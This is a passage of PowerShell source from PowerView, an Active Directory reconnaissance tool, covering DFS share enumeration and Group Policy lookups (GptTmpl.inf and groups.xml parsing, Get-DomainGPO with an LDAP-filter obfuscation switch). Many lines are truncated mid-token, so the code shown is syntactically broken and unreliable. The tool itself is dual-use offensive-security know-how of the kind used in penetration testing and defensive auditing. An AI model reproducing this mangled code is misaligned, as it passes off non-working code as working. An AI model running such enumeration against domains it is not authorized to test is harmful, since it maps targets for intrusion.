# Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrL
# DFSRootOrLinkIDBlob
$root_or_link_guid_start = 0
$root_or_link_guid_end = 15
$root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_en
$guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
$prefix_size_start = $root_or_link_guid_end + 1
$prefix_size_end = $prefix_size_start + 1
$prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],
$prefix_start = $prefix_size_end + 1
$prefix_end = $prefix_start + $prefix_size - 1
$prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_e
$short_prefix_size_start = $prefix_end + 1
$short_prefix_size_end = $short_prefix_size_start + 1
$short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$shor
$short_prefix_start = $short_prefix_size_end + 1
$short_prefix_end = $short_prefix_start + $short_prefix_size - 1
$short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_st
$type_start = $short_prefix_end + 1
$type_end = $type_start + 3
$type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
$state_start = $type_end + 1
$state_end = $state_start + 3
$state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
$comment_size_start = $state_end + 1
$comment_size_end = $comment_size_start + 1
$comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment
$comment_start = $comment_size_end + 1
$comment_end = $comment_start + $comment_size - 1
if ($comment_size -gt 0) {
$comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start
}
$prefix_timestamp_start = $comment_end + 1
$prefix_timestamp_end = $prefix_timestamp_start + 7
# https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
$prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dwo
$state_timestamp_start = $prefix_timestamp_end + 1
$state_timestamp_end = $state_timestamp_start + 7
$state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
$comment_timestamp_start = $state_timestamp_end + 1
$comment_timestamp_end = $comment_timestamp_start + 7
$comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp
$version_start = $comment_timestamp_end + 1
$version_end = $version_start + 3
$version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
# Parse rest of DFSNamespaceRootOrLinkBlob here
$dfs_targetlist_blob_size_start = $version_end + 1
$dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
$dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size
$dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
$dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
$dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
$reserved_blob_size_start = $dfs_targetlist_blob_end + 1
$reserved_blob_size_end = $reserved_blob_size_start + 3
$reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$
$reserved_blob_start = $reserved_blob_size_end + 1
$reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
$reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
$referral_ttl_start = $reserved_blob_end + 1
$referral_ttl_end = $referral_ttl_start + 3
$referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
#Parse DFSTargetListBlob
$target_count_start = 0
$target_count_end = $target_count_start + 3
$target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$targe
$t_offset = $target_count_end + 1
for($j=1; $j -le $target_count; $j++){
$target_entry_size_start = $t_offset
$target_entry_size_end = $target_entry_size_start + 3
$target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_
$target_time_stamp_start = $target_entry_size_end + 1
$target_time_stamp_end = $target_time_stamp_start + 7
# FILETIME again or special if priority rank and priority class 0
$target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_st
$target_state_start = $target_time_stamp_end + 1
$target_state_end = $target_state_start + 3
$target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$targ
$target_type_start = $target_state_end + 1
$target_type_end = $target_type_start + 3
$target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$targe
$server_name_size_start = $target_type_end + 1
$server_name_size_end = $server_name_size_start + 1
$server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_siz
$server_name_start = $server_name_size_end + 1
$server_name_end = $server_name_start + $server_name_size - 1
$server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$se
$share_name_size_start = $server_name_end + 1
$share_name_size_end = $share_name_size_start + 1
$share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size
$share_name_start = $share_name_size_end + 1
$share_name_end = $share_name_start + $share_name_size - 1
$share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$sha
$target_list += "\\$server_name\$share_name"
$t_offset = $share_name_end + 1
}
}
}
$offset = $blob_data_end + 1
$dfs_pkt_properties = @{
'Name' = $blob_name
'Prefix' = $prefix
'TargetList' = $target_list
}
$object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
$prefix = $Null
$blob_name = $Null
$target_list = $Null
}
$servers = @()
$object_list | ForEach-Object {
if ($_.TargetList) {
$_.TargetList | ForEach-Object {
$servers += $_.split('\')[2]
}
}
}
$servers
}
function Get-DomainDFSShareV1 {
[CmdletBinding()]
Param(
[String]
$Domain,
[String]
$SearchBase,
[String]
$Server,
[String]
$SearchScope = 'Subtree',
[Int]
$ResultPageSize = 200,
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$DFSsearcher = Get-DomainSearcher @PSBoundParameters
if ($DFSsearcher) {
$DFSshares = @()
$DFSsearcher.filter = '(&(objectClass=fTDfs))'
try {
$Results = $DFSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$RemoteNames = $Properties.remoteservername
$Pkt = $Properties.pkt
$DFSshares += $RemoteNames | ForEach-Object {
try {
if ( $_.Contains('\') ) {
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'Re
}
}
catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing D
}
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of t
}
}
$DFSSearcher.dispose()
if ($pkt -and $pkt[0]) {
Parse-Pkt $pkt[0] | ForEach-Object {
# If a folder doesn't have a redirection it will have a target like
# \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
# on 'null' rather than $Null
if ($_ -ne 'null') {
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'Remo
}
}
}
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}
function Get-DomainDFSShareV2 {
[CmdletBinding()]
Param(
[String]
$Domain,
[String]
$SearchBase,
[String]
$Server,
[String]
$SearchScope = 'Subtree',
[Int]
$ResultPageSize = 200,
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$DFSsearcher = Get-DomainSearcher @PSBoundParameters
if ($DFSsearcher) {
$DFSshares = @()
$DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
$Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2
try {
$Results = $DFSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$target_list = $Properties.'msdfs-targetlistv2'[0]
$xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Leng
$DFSshares += $xml.targets.ChildNodes | ForEach-Object {
try {
$Target = $_.InnerText
if ( $Target.Contains('\') ) {
$DFSroot = $Target.split('\')[3]
$ShareName = $Properties.'msdfs-linkpathv2'[0]
New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName"
}
}
catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing t
}
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
}
}
$DFSSearcher.dispose()
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}
}
PROCESS {
$DFSshares = @()
if ($PSBoundParameters['Domain']) {
ForEach ($TargetDomain in $Domain) {
$SearcherArguments['Domain'] = $TargetDomain
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
}
else {
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
$DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
}
}
########################################################
#
# GPO related functions.
#
########################################################
function Get-GptTmpl {
<#
.SYNOPSIS
Helper to parse a GptTmpl.inf policy file path into a hashtable.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent
.DESCRIPTION
Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a
GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
is constructed and assumed to be the parse target. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GptTmplPath
Specifies the GptTmpl.inf file path name to parse.
.PARAMETER OutputObject
Switch. Output a custom PSObject instead of a hashtable.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2
Parse the default domain policy .inf for dev.testlab.local
.EXAMPLE
Get-DomainGPO testing | Get-GptTmpl
Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2
Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,
[Switch]
$OutputObject,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForE
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Obje
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.n
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainO
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.)
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw,
[Switch]
$SSL,
[Switch]
$Obfuscate
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
}
PROCESS {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).Site
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomain
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
# restore the old properites to return, if set
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase']))
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replac
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityIns
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDo
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.T
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(displayname=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$Filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
Write-Verbose "[Get-DomainGPO] filter string: $($Filter)"
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter"
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$GPO = $_
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = @{}
foreach ($a in $_.Attributes.Keys | Sort-Object) {
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'userc
$Prop[$a] = $_.Attributes[$a]
}
else {
$Values = @()
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
$Values += [System.Text.Encoding]::UTF8.GetString($v)
}
$Prop[$a] = $Values
}
}
}
else {
$Prop = $_.Properties
}
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
$GPO = Convert-LDAPProperty -Properties $Prop
try {
$GPODN = $GPO.distinguishedname
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -repla
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
}
catch {
Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.disting
}
}
else {
$GPO = Convert-LDAPProperty -Properties $Prop
}
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$GPO
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
}
}
}
}
}
function Get-DomainGPOLocalGroup {
<#
.SYNOPSIS
Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
or Group Policy preferences. Also return their user membership mappings, if they exist.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFro
.DESCRIPTION
